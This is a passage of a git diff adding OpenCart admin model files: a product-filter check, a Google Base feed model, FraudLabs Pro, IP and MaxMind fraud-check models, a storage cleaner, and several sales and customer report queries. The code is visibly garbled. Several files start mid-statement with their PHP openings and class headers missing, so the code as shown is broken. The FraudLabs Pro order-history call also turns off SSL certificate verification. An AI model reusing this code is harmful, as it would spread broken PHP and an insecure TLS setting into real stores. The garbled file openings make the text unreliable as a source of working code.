+ $sql .= "WHERE fd.language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY fg.filter_group_id, fd.`name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function existFilter() {
+ // only newer OpenCart versions support filters
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."filter'" );
+ $exist_table_filter = ($query->num_rows > 0);
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."filter_group'" );
+ $exist_table_filter_group = ($query->num_rows > 0);
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."product_filter'" );
+ $exist_table_product_filter = ($query->num_rows > 0);
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."category_filter'" );
+ $exist_table_category_filter = ($query->num_rows > 0);
+
+ if (!$exist_table_filter) {
+ return false;
+ }
+ if (!$exist_table_filter_group) {
+ return false;
+ }
+ if (!$exist_table_product_filter) {
+ return false;
+ }
+ if (!$exist_table_category_filter) {
+ return false;
+ }
+ return true;
+ }
+
+}
+
+
+if (version_compare(VERSION,'3.0','>=')) {
+ class ModelExtensionExportImport extends ModelToolExportImport {
+ }
+}
+
+?>
diff --git a/public/admin/model/extension/feed/google_base.php b/public/admin/model/extension/feed/google_base.php
new file mode 100644
index 0000000..b54f1b1
--- /dev/null
+++ b/public/admin/model/extension/feed/google_base.php
@@ -0,0 +1,97 @@
+db->query("
+ CREATE TABLE `" . DB_PREFIX . "google_base_category` (
+ `google_base_category_id` INT(11) NOT NULL AUTO_INCREMENT,
+ `name` varchar(255) NOT NULL,
+ PRIMARY KEY (`google_base_category_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+
+ $this->db->query("
+ CREATE TABLE `" . DB_PREFIX . "google_base_category_to_category` (
+ `google_base_category_id` INT(11) NOT NULL,
+ `category_id` INT(11) NOT NULL,
+ PRIMARY KEY (`google_base_category_id`, `category_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+ }
+
+ public function uninstall() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "google_base_category`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "google_base_category_to_category`");
+ }
+
+ public function import($string) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "google_base_category");
+
+ $lines = explode("\n", $string);
+
+ foreach ($lines as $line) {
+ if (substr($line, 0, 1) != '#') {
+ $part = explode(' - ', $line, 2);
+
+ if (isset($part[1])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "google_base_category SET google_base_category_id = '" . (int)$part[0] . "', name = '" . $this->db->escape($part[1]) . "'");
+ }
+ }
+ }
+ }
+
+ public function getGoogleBaseCategories($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "google_base_category` WHERE name LIKE '%" . $this->db->escape($data['filter_name']) . "%' ORDER BY name ASC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function addCategory($data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "google_base_category_to_category WHERE category_id = '" . (int)$data['category_id'] . "'");
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "google_base_category_to_category SET google_base_category_id = '" . (int)$data['google_base_category_id'] . "', category_id = '" . (int)$data['category_id'] . "'");
+ }
+
+ public function deleteCategory($category_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "google_base_category_to_category WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ public function getCategories($data = array()) {
+ $sql = "SELECT google_base_category_id, (SELECT name FROM `" . DB_PREFIX . "google_base_category` gbc WHERE gbc.google_base_category_id = gbc2c.google_base_category_id) AS google_base_category, category_id, (SELECT name FROM `" . DB_PREFIX . "category_description` cd WHERE cd.category_id = gbc2c.category_id AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS category FROM `" . DB_PREFIX . "google_base_category_to_category` gbc2c ORDER BY google_base_category ASC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalCategories() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "google_base_category_to_category`");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/fraud/fraudlabspro.php b/public/admin/model/extension/fraud/fraudlabspro.php
new file mode 100644
index 0000000..b7a80b2
--- /dev/null
+++ b/public/admin/model/extension/fraud/fraudlabspro.php
@@ -0,0 +1,125 @@
+db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "fraudlabspro` (
+ `order_id` VARCHAR(11) NOT NULL,
+ `is_country_match` CHAR(2) NOT NULL,
+ `is_high_risk_country` CHAR(2) NOT NULL,
+ `distance_in_km` VARCHAR(10) NOT NULL,
+ `distance_in_mile` VARCHAR(10) NOT NULL,
+ `ip_address` VARCHAR(15) NOT NULL,
+ `ip_country` VARCHAR(2) NOT NULL,
+ `ip_continent` VARCHAR(20) NOT NULL,
+ `ip_region` VARCHAR(21) NOT NULL,
+ `ip_city` VARCHAR(21) NOT NULL,
+ `ip_latitude` VARCHAR(21) NOT NULL,
+ `ip_longitude` VARCHAR(21) NOT NULL,
+ `ip_timezone` VARCHAR(10) NOT NULL,
+ `ip_elevation` VARCHAR(10) NOT NULL,
+ `ip_domain` VARCHAR(50) NOT NULL,
+ `ip_mobile_mnc` VARCHAR(100) NOT NULL,
+ `ip_mobile_mcc` VARCHAR(100) NOT NULL,
+ `ip_mobile_brand` VARCHAR(100) NOT NULL,
+ `ip_netspeed` VARCHAR(10) NOT NULL,
+ `ip_isp_name` VARCHAR(50) NOT NULL,
+ `ip_usage_type` VARCHAR(30) NOT NULL,
+ `is_free_email` CHAR(2) NOT NULL,
+ `is_new_domain_name` CHAR(2) NOT NULL,
+ `is_proxy_ip_address` CHAR(2) NOT NULL,
+ `is_bin_found` CHAR(2) NOT NULL,
+ `is_bin_country_match` CHAR(2) NOT NULL,
+ `is_bin_name_match` CHAR(2) NOT NULL,
+ `is_bin_phone_match` CHAR(2) NOT NULL,
+ `is_bin_prepaid` CHAR(2) NOT NULL,
+ `is_address_ship_forward` CHAR(2) NOT NULL,
+ `is_bill_ship_city_match` CHAR(2) NOT NULL,
+ `is_bill_ship_state_match` CHAR(2) NOT NULL,
+ `is_bill_ship_country_match` CHAR(2) NOT NULL,
+ `is_bill_ship_postal_match` CHAR(2) NOT NULL,
+ `is_ip_blacklist` CHAR(2) NOT NULL,
+ `is_email_blacklist` CHAR(2) NOT NULL,
+ `is_credit_card_blacklist` CHAR(2) NOT NULL,
+ `is_device_blacklist` CHAR(2) NOT NULL,
+ `is_user_blacklist` CHAR(2) NOT NULL,
+ `fraudlabspro_score` CHAR(3) NOT NULL,
+ `fraudlabspro_distribution` CHAR(3) NOT NULL,
+ `fraudlabspro_status` CHAR(10) NOT NULL,
+ `fraudlabspro_id` CHAR(15) NOT NULL,
+ `fraudlabspro_error` CHAR(3) NOT NULL,
+ `fraudlabspro_message` VARCHAR(50) NOT NULL,
+ `fraudlabspro_credits` VARCHAR(10) NOT NULL,
+ `api_key` CHAR(32) NOT NULL,
+ PRIMARY KEY (`order_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "order_status` (`language_id`, `name`) VALUES (1, 'Fraud');");
+ $status_fraud_id = $this->db->getLastId();
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "order_status` (`language_id`, `name`) VALUES (1, 'Fraud Review');");
+
+ $status_fraud_review_id = $this->db->getLastId();
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_score', '80', '0');");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_order_status_id', '" . (int)$status_fraud_id . "', '0');");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_review_status_id', '" . (int)$status_fraud_review_id . "', '0');");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_approve_status_id', '2', '0');");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_reject_status_id', '8', '0');");
+
+ $this->cache->delete('order_status.' . (int)$this->config->get('config_language_id'));
+ }
+
+ public function uninstall() {
+ //$this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "fraudlabspro`");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "order_status` WHERE `name` = 'Fraud'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "order_status` WHERE `name` = 'Fraud Review'");
+ }
+
+ public function getOrder($order_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "fraudlabspro` WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->row;
+ }
+
+ public function addOrderHistory($order_id, $data, $store_id = 0) {
+ $json = array();
+
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($store_id);
+
+ if ($store_info) {
+ $url = $store_info['ssl'];
+ } else {
+ $url = HTTPS_CATALOG;
+ }
+
+ if (isset($this->session->data['cookie'])) {
+ $curl = curl_init();
+
+ // Set SSL if required
+ if (substr($url, 0, 5) == 'https') {
+ curl_setopt($curl, CURLOPT_PORT, 443);
+ }
+
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLINFO_HEADER_OUT, true);
+ curl_setopt($curl, CURLOPT_USERAGENT, $this->request->server['HTTP_USER_AGENT']);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
+ curl_setopt($curl, CURLOPT_FORBID_REUSE, false);
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
+ curl_setopt($curl, CURLOPT_URL, $url . 'index.php?route=api/order/history&order_id=' . $order_id);
+ curl_setopt($curl, CURLOPT_POST, true);
+ curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data));
+ curl_setopt($curl, CURLOPT_COOKIE, session_name() . '=' . $this->session->data['cookie'] . ';');
+
+ $json = curl_exec($curl);
+
+ curl_close($curl);
+ }
+
+ return $json;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/fraud/ip.php b/public/admin/model/extension/fraud/ip.php
new file mode 100644
index 0000000..f64ab25
--- /dev/null
+++ b/public/admin/model/extension/fraud/ip.php
@@ -0,0 +1,50 @@
+db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "fraud_ip` (
+ `ip` varchar(40) NOT NULL,
+ `date_added` datetime NOT NULL,
+ PRIMARY KEY (`ip`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+ }
+
+ public function uninstall() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "fraud_ip`");
+ }
+
+ public function addIp($ip) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "fraud_ip` SET `ip` = '" . $this->db->escape($ip) . "', date_added = NOW()");
+ }
+
+ public function removeIp($ip) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "fraud_ip` WHERE `ip` = '" . $this->db->escape($ip) . "'");
+ }
+
+ public function getIps($start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "fraud_ip` ORDER BY `ip` ASC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalIps() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "fraud_ip`");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalIpsByIp($ip) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "fraud_ip` WHERE ip = '" . $this->db->escape($ip) . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/fraud/maxmind.php b/public/admin/model/extension/fraud/maxmind.php
new file mode 100644
index 0000000..ad2134f
--- /dev/null
+++ b/public/admin/model/extension/fraud/maxmind.php
@@ -0,0 +1,73 @@
+db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "maxmind` (
+ `order_id` int(11) NOT NULL,
+ `customer_id` int(11) NOT NULL,
+ `country_match` varchar(3) NOT NULL,
+ `country_code` varchar(2) NOT NULL,
+ `high_risk_country` varchar(3) NOT NULL,
+ `distance` int(11) NOT NULL,
+ `ip_region` varchar(255) NOT NULL,
+ `ip_city` varchar(255) NOT NULL,
+ `ip_latitude` decimal(10,6) NOT NULL,
+ `ip_longitude` decimal(10,6) NOT NULL,
+ `ip_isp` varchar(255) NOT NULL,
+ `ip_org` varchar(255) NOT NULL,
+ `ip_asnum` int(11) NOT NULL,
+ `ip_user_type` varchar(255) NOT NULL,
+ `ip_country_confidence` varchar(3) NOT NULL,
+ `ip_region_confidence` varchar(3) NOT NULL,
+ `ip_city_confidence` varchar(3) NOT NULL,
+ `ip_postal_confidence` varchar(3) NOT NULL,
+ `ip_postal_code` varchar(10) NOT NULL,
+ `ip_accuracy_radius` int(11) NOT NULL,
+ `ip_net_speed_cell` varchar(255) NOT NULL,
+ `ip_metro_code` int(3) NOT NULL,
+ `ip_area_code` int(3) NOT NULL,
+ `ip_time_zone` varchar(255) NOT NULL,
+ `ip_region_name` varchar(255) NOT NULL,
+ `ip_domain` varchar(255) NOT NULL,
+ `ip_country_name` varchar(255) NOT NULL,
+ `ip_continent_code` varchar(2) NOT NULL,
+ `ip_corporate_proxy` varchar(3) NOT NULL,
+ `anonymous_proxy` varchar(3) NOT NULL,
+ `proxy_score` int(3) NOT NULL,
+ `is_trans_proxy` varchar(3) NOT NULL,
+ `free_mail` varchar(3) NOT NULL,
+ `carder_email` varchar(3) NOT NULL,
+ `high_risk_username` varchar(3) NOT NULL,
+ `high_risk_password` varchar(3) NOT NULL,
+ `bin_match` varchar(10) NOT NULL,
+ `bin_country` varchar(2) NOT NULL,
+ `bin_name_match` varchar(3) NOT NULL,
+ `bin_name` varchar(255) NOT NULL,
+ `bin_phone_match` varchar(3) NOT NULL,
+ `bin_phone` varchar(32) NOT NULL,
+ `customer_phone_in_billing_location` varchar(8) NOT NULL,
+ `ship_forward` varchar(3) NOT NULL,
+ `city_postal_match` varchar(3) NOT NULL,
+ `ship_city_postal_match` varchar(3) NOT NULL,
+ `score` decimal(10,5) NOT NULL,
+ `explanation` text NOT NULL,
+ `risk_score` decimal(10,5) NOT NULL,
+ `queries_remaining` int(11) NOT NULL,
+ `maxmind_id` varchar(8) NOT NULL,
+ `error` text NOT NULL,
+ `date_added` datetime NOT NULL,
+ PRIMARY KEY (`order_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+ }
+
+ public function uninstall() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "maxmind`");
+ }
+
+ public function getOrder($order_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "maxmind` WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->row;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/module/oc3x_storage_cleaner.php b/public/admin/model/extension/module/oc3x_storage_cleaner.php
new file mode 100644
index 0000000..2d4fa50
--- /dev/null
+++ b/public/admin/model/extension/module/oc3x_storage_cleaner.php
@@ -0,0 +1,74 @@
+ DIR_CACHE,
+ 'cache-modification' => DIR_MODIFICATION,
+ 'cache-image' => DIR_IMAGE . 'cache/',
+ 'log-error' => DIR_LOGS . 'error.log',
+ 'log-modification' => DIR_LOGS . 'ocmod.log',
+ );
+
+ foreach ($dirs as $key => $dir) {
+ $sizes[$key] = 0;
+
+ $files = array();
+
+ $path = array($dir . '*');
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ if (is_array(glob($next))) {
+ foreach (glob($next) as $file) {
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ $files[] = $file;
+ }
+ }
+ }
+
+ if (!empty($files)) {
+ rsort($files);
+
+ foreach ($files as $file) {
+ if ($file != $dir . 'index.html' && $file != $dir . '.htaccess') {
+ if (is_file($file)) {
+ $sizes[$key] += filesize($file);
+ }
+ }
+ }
+ }
+ }
+
+ foreach ($sizes as $key => $size) {
+ $output[$key] = $this->formatSize($size);
+ }
+
+ $output['all'] = $this->formatSize(array_sum($sizes));
+
+ return $output;
+ }
+
+ protected function formatSize($size) {
+ $sizenames = array(' B', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', 'YB');
+
+ $item = 0;
+
+ while ($size >= 1024) {
+ $size /= 1024;
+
+ $item++;
+ }
+
+ if ($item > 2) {
+ $output = round($size, 2) . $sizenames[$item];
+ } else {
+ $output = round($size, 0) . $sizenames[$item];
+ }
+
+ return $output;
+ }
+}
diff --git a/public/admin/model/extension/report/activity.php b/public/admin/model/extension/report/activity.php
new file mode 100644
index 0000000..94612f7
--- /dev/null
+++ b/public/admin/model/extension/report/activity.php
@@ -0,0 +1,8 @@
+db->query("SELECT a.key, a.data, a.date_added FROM ((SELECT CONCAT('customer_', ca.key) AS `key`, ca.data, ca.date_added FROM `" . DB_PREFIX . "customer_activity` ca) UNION (SELECT CONCAT('affiliate_', aa.key) AS `key`, aa.data, aa.date_added FROM `" . DB_PREFIX . "affiliate_activity` aa)) a ORDER BY a.date_added DESC LIMIT 0,5");
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/coupon.php b/public/admin/model/extension/report/coupon.php
new file mode 100644
index 0000000..86038c7
--- /dev/null
+++ b/public/admin/model/extension/report/coupon.php
@@ -0,0 +1,60 @@
+= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(ch.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sql .= " GROUP BY ch.coupon_id ORDER BY total DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalCoupons($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT coupon_id) AS total FROM `" . DB_PREFIX . "coupon_history`";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/customer.php b/public/admin/model/extension/report/customer.php
new file mode 100644
index 0000000..93e9c33
--- /dev/null
+++ b/public/admin/model/extension/report/customer.php
@@ -0,0 +1,380 @@
+ $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $customer_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByWeek() {
+ $customer_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $customer_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByMonth() {
+ $customer_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $customer_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByYear() {
+ $customer_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $customer_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT c.customer_id, CONCAT(c.firstname, ' ', c.lastname) AS customer, c.email, cgd.name AS customer_group, c.status, o.order_id, SUM(op.quantity) as products, o.total AS total FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_product` op ON (o.order_id = op.order_id) LEFT JOIN `" . DB_PREFIX . "customer` c ON (o.customer_id = c.customer_id) LEFT JOIN `" . DB_PREFIX . "customer_group_description` cgd ON (c.customer_group_id = cgd.customer_group_id) WHERE o.customer_id > 0 AND cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ $sql .= " GROUP BY o.order_id";
+
+ $sql = "SELECT t.customer_id, t.customer, t.email, t.customer_group, t.status, COUNT(DISTINCT t.order_id) AS orders, SUM(t.products) AS products, SUM(t.total) AS total FROM (" . $sql . ") AS t GROUP BY t.customer_id ORDER BY total DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalOrders($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT o.customer_id) AS total FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "customer` c ON (o.customer_id = c.customer_id) WHERE o.customer_id > '0'";
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getRewardPoints($data = array()) {
+ $sql = "SELECT cr.customer_id, CONCAT(c.firstname, ' ', c.lastname) AS customer, c.email, cgd.name AS customer_group, c.status, SUM(cr.points) AS points, COUNT(o.order_id) AS orders, SUM(o.total) AS total FROM " . DB_PREFIX . "customer_reward cr LEFT JOIN `" . DB_PREFIX . "customer` c ON (cr.customer_id = c.customer_id) LEFT JOIN " . DB_PREFIX . "customer_group_description cgd ON (c.customer_group_id = cgd.customer_group_id) LEFT JOIN `" . DB_PREFIX . "order` o ON (cr.order_id = o.order_id) WHERE cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(cr.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(cr.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ $sql .= " GROUP BY cr.customer_id ORDER BY points DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalRewardPoints($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT cr.customer_id) AS total FROM `" . DB_PREFIX . "customer_reward` cr LEFT JOIN `" . DB_PREFIX . "customer` c ON (cr.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(cr.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(cr.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getCustomerActivities($data = array()) {
+ $sql = "SELECT ca.customer_activity_id, ca.customer_id, ca.key, ca.data, ca.ip, ca.date_added FROM " . DB_PREFIX . "customer_activity ca LEFT JOIN " . DB_PREFIX . "customer c ON (ca.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(ca.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(ca.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "ca.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sql .= " ORDER BY ca.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
